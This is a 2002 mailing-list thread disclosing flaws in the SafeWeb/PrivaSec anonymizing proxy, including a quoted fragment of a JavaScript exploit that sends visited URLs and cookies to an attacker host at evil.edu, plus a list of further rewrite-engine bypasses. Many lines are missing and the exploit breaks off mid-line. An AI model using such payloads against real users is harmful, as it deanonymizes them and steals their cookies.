mailing list archives
Correction: Re: Deanonymizing SafeWeb Users
From: peleus <peleus () rigel cyberpass net>
Date: Wed, 13 Feb 2002 00:54:45 -0800 (PST)
I have to make a correction to my post regarding the paper.
Re-naming of eval was listed in the Martin & Schulman paper in Section
Our renaming of function methods are similar but not the same.
In both cases you are replacing function calls. Martin & Schulmann
reassign the pointers and definitions to the functions. My attack deals
with the fact that local scoping takes precedence and they didn't scope
all of their functions properly.
My apologies to everyone for the error.
peleus () anonymizer com
On Tue, 12 Feb 2002, peleus wrote:
In light of this post by Martin & Schulman on attacks against
SafeWeb/PrivaSec, we thought we would release just a few examples of my
proxy systems over the last years. We have found that these attacks are
not limited to SafeWeb. A rewrite engine alone will not cover every
Some attacks not enumerated in the Martin & Schulman paper include
but are not limited to:
(SafeWeb/PrivaSec & SiegeSoft)
Missing uncommon functions such as document.replace (SiegeSoft)
Not recognizing the reset of form locations (SiegeSoft)
Renaming the eval statement itself will make the SafeWeb/PrivaSec
system unstable which will not break the current page but will
break the following page once you click on a link.
You can also use the SafeWeb/PrivaSec functions against themselves
a non-trivial task.
individual only needs to look at the BugTraq postings over the last month
by The Pull and many others to see its inherent dangers. By allowing
computer and placing full faith in them not to write anything harmful.
languages can not prevent all instances of these attacks. For instance,
SafeWeb does not stop The Pull's file reading exploit. A proxy system can
help to reduce these attacks but would not be able to give a 100%
guarantee since they would be re-actionary to problems in browser software
developed by other vendors.
Anonymizer has always taken the approach not to release
functionality until it has been sufficiently developed and proven
reliable. It is this approach that prevented us from releasing an unsafe
Anonymizer is in fact now completing development of a solution for
and will be releasing a public beta in Spring 2002.
Note: The term "Anonymizer" is a trusted brand name and registered
trademark of Anonymizer Inc. The term "Anonymizer" and similar words
(such as anonymize or anonymizing) should not be used as generic
descriptive terms for Web privacy technology.
peleus () anonymizer com
On Mon, 11 Feb 2002, David Martin wrote:
Although SafeWeb's Web anonymizing service has been shut down since
December, they claimed it was the "most widely used online privacy service
in the world". SafeWeb licensed their technology to PrivaSec, who is
currently running the technology in a preview program for a planned
subscription service. They also licensed it to the CIA.
Andrew Schulman and I have just finished a technical report detailing
Web sites or firewalls (e.g., by redirecting to a page containing the
exploit). An example (really one long line):
self['window']['top'].frames['cookie_munch'] = Function('i=new
browser silently report every URL visited to the attacker at evil.edu, along
with a copy of all of the persistent cookies previously established through
SafeWeb. It works regardless of the user's security settings (recommended
vs paranoid mode, etc.) This attack is the only one we describe that
depends on the browser: it works in Netscape 6.x and probably previous
versions, but not IE. We have an attack that does basically the same thing
and works in IE too, but it's a bit longer. Since our attacks are just
Basically, using the SafeWeb privacy service helps keep user identities out
of routinely gathered log files, but it creates serious new risks for anyone
an adversary might bother to actually target. You have to wonder whether
this is a good tradeoff. After all, in the absence of serious bugs, Web
browsers generally prevent Web sites from silently depositing spyware or
snarfing all of the user's cookies. One thing is clear: most users in the
intended market for this system had no idea that this system brought any
risks with it.
For the full report (23 pages, PDF):
We've been in touch with SafeWeb since October, and with PrivaSec for about
IP addresses have been noted here (by Alexander Yezhov) and in
alt.privacy.anon-server (by Paul Rubin). Our paper adds spyware, cookie
snarfing, and the essential equivalence between SafeWeb's "paranoid" and
"recommended" modes of operation to the list of problems with SafeWeb's
David Martin http://www.cs.bu.edu/~dm
Andrew Schulman http://www.undoc.com/
- Correction: Re: Deanonymizing SafeWeb Users peleus (Feb 14)